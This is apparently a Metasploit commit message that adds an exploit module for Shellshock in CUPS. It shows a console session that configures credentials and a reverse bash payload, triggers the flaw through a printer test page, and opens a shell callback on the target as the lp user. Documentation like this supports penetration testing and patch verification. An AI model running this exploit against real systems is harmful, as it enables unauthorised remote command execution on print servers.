Add exploit module for CUPS shellshock

Tested on CUPS 1.4.3

```
msf exploit(cups_shellshock) > set username test
username => test
msf exploit(cups_shellshock) > set password shock
password => shock
msf exploit(cups_shellshock) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(cups_shellshock) > run

[*] Started reverse handler on 172.16.251.132:4444
[*] 172.16.251.133:631 - Creating printer 'sSHpaty9vP'
[+] 172.16.251.133:631 - Created printer successfully
[*] 172.16.251.133:631 - Requesting printer test page
[*] 172.16.251.133:631 - Test page sent successfully
[*] 172.16.251.133:631 - Deleted printer 'sSHpaty9vP' successfully
[*] Command shell session 1 opened (172.16.251.132:4444 -> 172.16.251.133:54504) at 2014-10-19 13:37:35 -0400

id
uid=7(lp) gid=7(lp) groups=7(lp)
```